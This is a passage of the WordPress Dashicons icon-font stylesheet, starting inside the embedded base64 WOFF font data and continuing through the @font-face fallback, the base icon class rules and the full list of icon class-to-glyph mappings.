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") format("woff"),
		url("../fonts/dashicons.ttf?99ac726223c749443b642ce33df8b800") format("truetype");
	font-weight: 400;
	font-style: normal;
}
/* stylelint-enable */


.dashicons,
.dashicons-before:before {
	font-family: dashicons;
	display: inline-block;
	line-height: 1;
	font-weight: 400;
	font-style: normal;
	speak: never;
	text-decoration: inherit;
	text-transform: none;
	text-rendering: auto;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	width: 20px;
	height: 20px;
	font-size: 20px;
	vertical-align: top;
	text-align: center;
	transition: color 0.1s ease-in;
}

/* Icons */

.dashicons-admin-appearance:before {
	content: "\f100";
}

.dashicons-admin-collapse:before {
	content: "\f148";
}

.dashicons-admin-comments:before {
	content: "\f101";
}

.dashicons-admin-customizer:before {
	content: "\f540";
}

.dashicons-admin-generic:before {
	content: "\f111";
}

.dashicons-admin-home:before {
	content: "\f102";
}

.dashicons-admin-links:before {
	content: "\f103";
}

.dashicons-admin-media:before {
	content: "\f104";
}

.dashicons-admin-multisite:before {
	content: "\f541";
}

.dashicons-admin-network:before {
	content: "\f112";
}

.dashicons-admin-page:before {
	content: "\f105";
}

.dashicons-admin-plugins:before {
	content: "\f106";
}

.dashicons-admin-post:before {
	content: "\f109";
}

.dashicons-admin-settings:before {
	content: "\f108";
}

.dashicons-admin-site-alt:before {
	content: "\f11d";
}

.dashicons-admin-site-alt2:before {
	content: "\f11e";
}

.dashicons-admin-site-alt3:before {
	content: "\f11f";
}

.dashicons-admin-site:before {
	content: "\f319";
}

.dashicons-admin-tools:before {
	content: "\f107";
}

.dashicons-admin-users:before {
	content: "\f110";
}

.dashicons-airplane:before {
	content: "\f15f";
}

.dashicons-album:before {
	content: "\f514";
}

.dashicons-align-center:before {
	content: "\f134";
}

.dashicons-align-full-width:before {
	content: "\f114";
}

.dashicons-align-left:before {
	content: "\f135";
}

.dashicons-align-none:before {
	content: "\f138";
}

.dashicons-align-pull-left:before {
	content: "\f10a";
}

.dashicons-align-pull-right:before {
	content: "\f10b";
}

.dashicons-align-right:before {
	content: "\f136";
}

.dashicons-align-wide:before {
	content: "\f11b";
}

.dashicons-amazon:before {
	content: "\f162";
}

.dashicons-analytics:before {
	content: "\f183";
}

.dashicons-archive:before {
	content: "\f480";
}

.dashicons-arrow-down-alt:before {
	content: "\f346";
}

.dashicons-arrow-down-alt2:before {
	content: "\f347";
}

.dashicons-arrow-down:before {
	content: "\f140";
}

.dashicons-arrow-left-alt:before {
	content: "\f340";
}

.dashicons-arrow-left-alt2:before {
	content: "\f341";
}

.dashicons-arrow-left:before {
	content: "\f141";
}

.dashicons-arrow-right-alt:before {
	content: "\f344";
}

.dashicons-arrow-right-alt2:before {
	content: "\f345";
}

.dashicons-arrow-right:before {
	content: "\f139";
}

.dashicons-arrow-up-alt:before {
	content: "\f342";
}

.dashicons-arrow-up-alt2:before {
	content: "\f343";
}

.dashicons-arrow-up-duplicate:before {
	content: "\f143";
}

.dashicons-arrow-up:before {
	content: "\f142";
}

.dashicons-art:before {
	content: "\f309";
}

.dashicons-awards:before {
	content: "\f313";
}

.dashicons-backup:before {
	content: "\f321";
}

.dashicons-bank:before {
	content: "\f16a";
}

.dashicons-beer:before {
	content: "\f16c";
}

.dashicons-bell:before {
	content: "\f16d";
}

.dashicons-block-default:before {
	content: "\f12b";
}

.dashicons-book-alt:before {
	content: "\f331";
}

.dashicons-book:before {
	content: "\f330";
}

.dashicons-buddicons-activity:before {
	content: "\f452";
}

.dashicons-buddicons-bbpress-logo:before {
	content: "\f477";
}

.dashicons-buddicons-buddypress-logo:before {
	content: "\f448";
}

.dashicons-buddicons-community:before {
	content: "\f453";
}

.dashicons-buddicons-forums:before {
	content: "\f449";
}

.dashicons-buddicons-friends:before {
	content: "\f454";
}

.dashicons-buddicons-groups:before {
	content: "\f456";
}

.dashicons-buddicons-pm:before {
	content: "\f457";
}

.dashicons-buddicons-replies:before {
	content: "\f451";
}

.dashicons-buddicons-topics:before {
	content: "\f450";
}

.dashicons-buddicons-tracking:before {
	content: "\f455";
}

.dashicons-building:before {
	content: "\f512";
}

.dashicons-businessman:before {
	content: "\f338";
}

.dashicons-businessperson:before {
	content: "\f12e";
}

.dashicons-businesswoman:before {
	content: "\f12f";
}

.dashicons-button:before {
	content: "\f11a";
}

.dashicons-calculator:before {
	content: "\f16e";
}

.dashicons-calendar-alt:before {
	content: "\f508";
}

.dashicons-calendar:before {
	content: "\f145";
}

.dashicons-camera-alt:before {
	content: "\f129";
}

.dashicons-camera:before {
	content: "\f306";
}

.dashicons-car:before {
	content: "\f16b";
}

.dashicons-carrot:before {
	content: "\f511";
}

.dashicons-cart:before {
	content: "\f174";
}

.dashicons-category:before {
	content: "\f318";
}

.dashicons-chart-area:before {
	content: "\f239";
}

.dashicons-chart-bar:before {
	content: "\f185";
}

.dashicons-chart-line:before {
	content: "\f238";
}

.dashicons-chart-pie:before {
	content: "\f184";
}

.dashicons-clipboard:before {
	content: "\f481";
}

.dashicons-clock:before {
	content: "\f469";
}

.dashicons-cloud-saved:before {
	content: "\f137";
}

.dashicons-cloud-upload:before {
	content: "\f13b";
}

.dashicons-cloud:before {
	content: "\f176";
}

.dashicons-code-standards:before {
	content: "\f13a";
}

.dashicons-coffee:before {
	content: "\f16f";
}

.dashicons-color-picker:before {
	content: "\f131";
}

.dashicons-columns:before {
	content: "\f13c";
}

.dashicons-controls-back:before {
	content: "\f518";
}

.dashicons-controls-forward:before {
	content: "\f519";
}

.dashicons-controls-pause:before {
	content: "\f523";
}

.dashicons-controls-play:before {
	content: "\f522";
}

.dashicons-controls-repeat:before {
	content: "\f515";
}

.dashicons-controls-skipback:before {
	content: "\f516";
}

.dashicons-controls-skipforward:before {
	content: "\f517";
}

.dashicons-controls-volumeoff:before {
	content: "\f520";
}

.dashicons-controls-volumeon:before {
	content: "\f521";
}

.dashicons-cover-image:before {
	content: "\f13d";
}

.dashicons-dashboard:before {
	content: "\f226";
}

.dashicons-database-add:before {
	content: "\f170";
}

.dashicons-database-export:before {
	content: "\f17a";
}

.dashicons-database-import:before {
	content: "\f17b";
}

.dashicons-database-remove:before {
	content: "\f17c";
}

.dashicons-database-view:before {
	content: "\f17d";
}

.dashicons-database:before {
	content: "\f17e";
}

.dashicons-desktop:before {
	content: "\f472";
}

.dashicons-dismiss:before {
	content: "\f153";
}

.dashicons-download:before {
	content: "\f316";
}

.dashicons-drumstick:before {
	content: "\f17f";
}

.dashicons-edit-large:before {
	content: "\f327";
}

.dashicons-edit-page:before {
	content: "\f186";
}

.dashicons-edit:before {
	content: "\f464";
}

.dashicons-editor-aligncenter:before {
	content: "\f207";
}

.dashicons-editor-alignleft:before {
	content: "\f206";
}

.dashicons-editor-alignright:before {
	content: "\f208";
}

.dashicons-editor-bold:before {
	content: "\f200";
}

.dashicons-editor-break:before {
	content: "\f474";
}

.dashicons-editor-code-duplicate:before {
	content: "\f494";
}

.dashicons-editor-code:before {
	content: "\f475";
}

.dashicons-editor-contract:before {
	content: "\f506";
}

.dashicons-editor-customchar:before {
	content: "\f220";
}

.dashicons-editor-expand:before {
	content: "\f211";
}

.dashicons-editor-help:before {
	content: "\f223";
}

.dashicons-editor-indent:before {
	content: "\f222";
}

.dashicons-editor-insertmore:before {
	content: "\f209";
}

.dashicons-editor-italic:before {
	content: "\f201";
}

.dashicons-editor-justify:before {
	content: "\f214";
}

.dashicons-editor-kitchensink:before {
	content: "\f212";
}

.dashicons-editor-ltr:before {
	content: "\f10c";
}

.dashicons-editor-ol-rtl:before {
	content: "\f12c";
}

.dashicons-editor-ol:before {
	content: "\f204";
}

.dashicons-editor-outdent:before {
	content: "\f221";
}

.dashicons-editor-paragraph:before {
	content: "\f476";
}

.dashicons-editor-paste-text:before {
	content: "\f217";
}

.dashicons-editor-paste-word:before {
	content: "\f216";
}

.dashicons-editor-quote:before {
	content: "\f205";
}

.dashicons-editor-removeformatting:before {
	content: "\f218";
}

.dashicons-editor-rtl:before {
	content: "\f320";
}

.dashicons-editor-spellcheck:before {
	content: "\f210";
}

.dashicons-editor-strikethrough:before {
	content: "\f224";
}

.dashicons-editor-table:before {
	content: "\f535";
}

.dashicons-editor-textcolor:before {
	content: "\f215";
}

.dashicons-editor-ul:before {
	content: "\f203";
}

.dashicons-editor-underline:before {
	content: "\f213";
}

.dashicons-editor-unlink:before {
	content: "\f225";
}

.dashicons-editor-video:before {
	content: "\f219";
}

.dashicons-ellipsis:before {
	content: "\f11c";
}

.dashicons-email-alt:before {
	content: "\f466";
}

.dashicons-email-alt2:before {
	content: "\f467";
}

.dashicons-email:before {
	content: "\f465";
}

.dashicons-embed-audio:before {
	content: "\f13e";
}

.dashicons-embed-generic:before {
	content: "\f13f";
}

.dashicons-embed-photo:before {
	content: "\f144";
}

.dashicons-embed-post:before {
	content: "\f146";
}

.dashicons-embed-video:before {
	content: "\f149";
}

.dashicons-excerpt-view:before {
	content: "\f164";
}

.dashicons-exit:before {
	content: "\f14a";
}

.dashicons-external:before {
	content: "\f504";
}

.dashicons-facebook-alt:before {
	content: "\f305";
}

.dashicons-facebook:before {
	content: "\f304";
}

.dashicons-feedback:before {
	content: "\f175";
}

.dashicons-filter:before {
	content: "\f536";
}

.dashicons-flag:before {
	content: "\f227";
}

.dashicons-food:before {
	content: "\f187";
}

.dashicons-format-aside:before {
	content: "\f123";
}

.dashicons-format-audio:before {
	content: "\f127";
}

.dashicons-format-chat:before {
	content: "\f125";
}

.dashicons-format-gallery:before {
	content: "\f161";
}

.dashicons-format-image:before {
	content: "\f128";
}

.dashicons-format-quote:before {
	content: "\f122";
}

.dashicons-format-status:before {
	content: "\f130";
}

.dashicons-format-video:before {
	content: "\f126";
}

.dashicons-forms:before {
	content: "\f314";
}

.dashicons-fullscreen-alt:before {
	content: "\f188";
}

.dashicons-fullscreen-exit-alt:before {
	content: "\f189";
}

.dashicons-games:before {
	content: "\f18a";
}

.dashicons-google:before {
	content: "\f18b";
}

.dashicons-googleplus:before {
	content: "\f462";
}

.dashicons-grid-view:before {
	content: "\f509";
}

.dashicons-groups:before {
	content: "\f307";
}

.dashicons-hammer:before {
	content: "\f308";
}

.dashicons-heading:before {
	content: "\f10e";
}

.dashicons-heart:before {
	content: "\f487";
}

.dashicons-hidden:before {
	content: "\f530";
}

.dashicons-hourglass:before {
	content: "\f18c";
}

.dashicons-html:before {
	content: "\f14b";
}

.dashicons-id-alt:before {
	content: "\f337";
}

.dashicons-id:before {
	content: "\f336";
}

.dashicons-image-crop:before {
	content: "\f165";
}

.dashicons-image-filter:before {
	content: "\f533";
}

.dashicons-image-flip-horizontal:before {
	content: "\f169";
}

.dashicons-image-flip-vertical:before {
	content: "\f168";
}

.dashicons-image-rotate-left:before {
	content: "\f166";
}

.dashicons-image-rotate-right:before {
	content: "\f167";
}

.dashicons-image-rotate:before {
	content: "\f531";
}

.dashicons-images-alt:before {
	content: "\f232";
}

.dashicons-images-alt2:before {
	content: "\f233";
}

.dashicons-index-card:before {
	content: "\f510";
}

.dashicons-info-outline:before {
	content: "\f14c";
}

.dashicons-info:before {
	content: "\f348";
}

.dashicons-insert-after:before {
	content: "\f14d";
}

.dashicons-insert-before:before {
	content: "\f14e";
}

.dashicons-insert:before {
	content: "\f10f";
}

.dashicons-instagram:before {
	content: "\f12d";
}

.dashicons-laptop:before {
	content: "\f547";
}

.dashicons-layout:before {
	content: "\f538";
}

.dashicons-leftright:before {
	content: "\f229";
}

.dashicons-lightbulb:before {
	content: "\f339";
}

.dashicons-linkedin:before {
	content: "\f18d";
}

.dashicons-list-view:before {
	content: "\f163";
}

.dashicons-location-alt:before {
	content: "\f231";
}

.dashicons-location:before {
	content: "\f230";
}

.dashicons-lock-duplicate:before {
	content: "\f315";
}

.dashicons-lock:before {
	content: "\f160";
}

.dashicons-marker:before {
	content: "\f159";
}

.dashicons-media-archive:before {
	content: "\f501";
}

.dashicons-media-audio:before {
	content: "\f500";
}

.dashicons-media-code:before {
	content: "\f499";
}

.dashicons-media-default:before {
	content: "\f498";
}

.dashicons-media-document:before {
	content: "\f497";
}

.dashicons-media-interactive:before {
	content: "\f496";
}

.dashicons-media-spreadsheet:before {
	content: "\f495";
}

.dashicons-media-text:before {
	content: "\f491";
}

.dashicons-media-video:before {
	content: "\f490";
}

.dashicons-megaphone:before {
	content: "\f488";
}

.dashicons-menu-alt:before {
	content: "\f228";
}

.dashicons-menu-alt2:before {
	content: "\f329";
}

.dashicons-menu-alt3:before {
	content: "\f349";
}

.dashicons-menu:before {
	content: "\f333";
}

.dashicons-microphone:before {
	content: "\f482";
}

.dashicons-migrate:before {
	content: "\f310";
}

.dashicons-minus:before {
	content: "\f460";
}

.dashicons-money-alt:before {
	content: "\f18e";
}

.dashicons-money:before {
	content: "\f526";
}

.dashicons-move:before {
	content: "\f545";
}

.dashicons-nametag:before {
	content: "\f484";
}

.dashicons-networking:before {
	content: "\f325";
}

.dashicons-no-alt:before {
	content: "\f335";
}

.dashicons-no:before {
	content: "\f158";
}

.dashicons-open-folder:before {
	content: "\f18f";
}

.dashicons-palmtree:before {
	content: "\f527";
}

.dashicons-paperclip:before {
	content: "\f546";
}

.dashicons-pdf:before {
	content: "\f190";
}

.dashicons-performance:before {
	content: "\f311";
}

.dashicons-pets:before {
	content: "\f191";
}

.dashicons-phone:before {
	content: "\f525";
}

.dashicons-pinterest:before {
	content: "\f192";
}

.dashicons-playlist-audio:before {
	content: "\f492";
}

.dashicons-playlist-video:before {
	content: "\f493";
}

.dashicons-plugins-checked:before {
	content: "\f485";
}

.dashicons-plus-alt:before {
	content: "\f502";
}

.dashicons-plus-alt2:before {
	content: "\f543";
}

.dashicons-plus:before {
	content: "\f132";
}

.dashicons-podio:before {
	content: "\f19c";
}

.dashicons-portfolio:before {
	content: "\f322";
}

.dashicons-post-status:before {
	content: "\f173";
}

.dashicons-pressthis:before {
	content: "\f157";
}

.dashicons-printer:before {
	content: "\f193";
}

.dashicons-privacy:before {
	content: "\f194";
}

.dashicons-products:before {
	content: "\f312";
}

.dashicons-randomize:before {
	content: "\f503";
}

.dashicons-reddit:before {
	content: "\f195";
}

.dashicons-redo:before {
	content: "\f172";
}

.dashicons-remove:before {
	content: "\f14f";
}

.dashicons-rest-api:before {
	content: "\f124";
}

.dashicons-rss:before {
	content: "\f303";
}

.dashicons-saved:before {
	content: "\f15e";
}

.dashicons-schedule:before {
	content: "\f489";
}

.dashicons-screenoptions:before {
	content: "\f180";
}

.dashicons-search:before {
	content: "\f179";
}

.dashicons-share-alt:before {
	content: "\f240";
}

.dashicons-share-alt2:before {
	content: "\f242";
}

.dashicons-share:before {
	content: "\f237";
}

.dashicons-shield-alt:before {
	content: "\f334";
}

.dashicons-shield:before {
	content: "\f332";
}

.dashicons-shortcode:before {
	content: "\f150";
}

.dashicons-slides:before {
	content: "\f181";
}

.dashicons-smartphone:before {
	content: "\f470";
}

.dashicons-smiley:before {
	content: "\f328";
}

.dashicons-sort:before {
	content: "\f156";
}

.dashicons-sos:before {
	content: "\f468";
}

.dashicons-spotify:before {
	content: "\f196";
}

.dashicons-star-empty:before {
	content: "\f154";
}

.dashicons-star-filled:before {
	content: "\f155";
}

.dashicons-star-half:before {
	content: "\f459";
}

.dashicons-sticky:before {
	content: "\f537";
}

.dashicons-store:before {
	content: "\f513";
}

.dashicons-superhero-alt:before {
	content: "\f197";
}

.dashicons-superhero:before {
	content: "\f198";
}

.dashicons-table-col-after:before {
	content: "\f151";
}

.dashicons-table-col-before:before {
	content: "\f152";
}

.dashicons-table-col-delete:before {
	content: "\f15a";
}

.dashicons-table-row-after:before {
	content: "\f15b";
}

.dashicons-table-row-before:before {
	content: "\f15c";
}

.dashicons-table-row-delete:before {
	content: "\f15d";
}

.dashicons-tablet:before {
	content: "\f471";
}

.dashicons-tag:before {
	content: "\f323";
}

.dashicons-tagcloud:before {
	content: "\f479";
}

.dashicons-testimonial:before {
	content: "\f473";
}

.dashicons-text-page:before {
	content: "\f121";
}

.dashicons-text:before {
	content: "\f478";
}

.dashicons-thumbs-down:before {
	content: "\f542";
}

.dashicons-thumbs-up:before {
	content: "\f529";
}

.dashicons-tickets-alt:before {
	content: "\f524";
}

.dashicons-tickets:before {
	content: "\f486";
}

.dashicons-tide:before {
	content: "\f10d";
}

.dashicons-translation:before {
	content: "\f326";
}

.dashicons-trash:before {
	content: "\f182";
}

.dashicons-twitch:before {
	content: "\f199";
}

.dashicons-twitter-alt:before {
	content: "\f302";
}

.dashicons-twitter:before {
	content: "\f301";
}

.dashicons-undo:before {
	content: "\f171";
}

.dashicons-universal-access-alt:before {
	content: "\f507";
}

.dashicons-universal-access:before {
	content: "\f483";
}

.dashicons-unlock:before {
	content: "\f528";
}

.dashicons-update-alt:before {
	content: "\f113";
}

.dashicons-update:before {
	content: "\f463";
}

.dashicons-upload:before {
	content: "\f317";
}

.dashicons-vault:before {
	content: "\f178";
}

.dashicons-video-alt:before {
	content: "\f234";
}

.dashicons-video-alt2:before {
	content: "\f235";
}

.dashicons-video-alt3:before {
	content: "\f236";
}

.dashicons-visibility:before {
	content: "\f177";
}

.dashicons-warning:before {
	content: "\f534";
}

.dashicons-welcome-add-page:before {
	content: "\f133";
}

.dashicons-welcome-comments:before {
	content: "\f117";
}

.dashicons-welcome-learn-more:before {
	content: "\f118";
}

.dashicons-welcome-view-site:before {
	content: "\f115";
}

.dashicons-welcome-widgets-menus:before {
	content: "\f116";
}

.dashicons-welcome-write-blog:before {
	content: "\f119";
}

.dashicons-whatsapp:before {
	content: "\f19a";
}

.dashicons-wordpress-alt:before {
	content: "\f324";
}

.dashicons-wordpress:before {
	content: "\f120";
}

.dashicons-xing:before {
	content: "\f19d";
}

.dashicons-yes-alt:before {
	content: "\f12a";
}

.dashicons-yes:before {
	content: "\f147";
}

.dashicons-youtube:before {
	content: "\f19b";
}

/* Additional CSS classes, manually added to the CSS template file */

.dashicons-editor-distractionfree:before {
	content: "\f211";
}

/* This is a typo, but was previously released. It should remain for backward compatibility. See https://core.trac.wordpress.org/ticket/30832. */
.dashicons-exerpt-view:before {
	content: "\f164";
}

.dashicons-format-links:before {
	content: "\f103";
}

.dashicons-format-standard:before {
	content: "\f109";
}

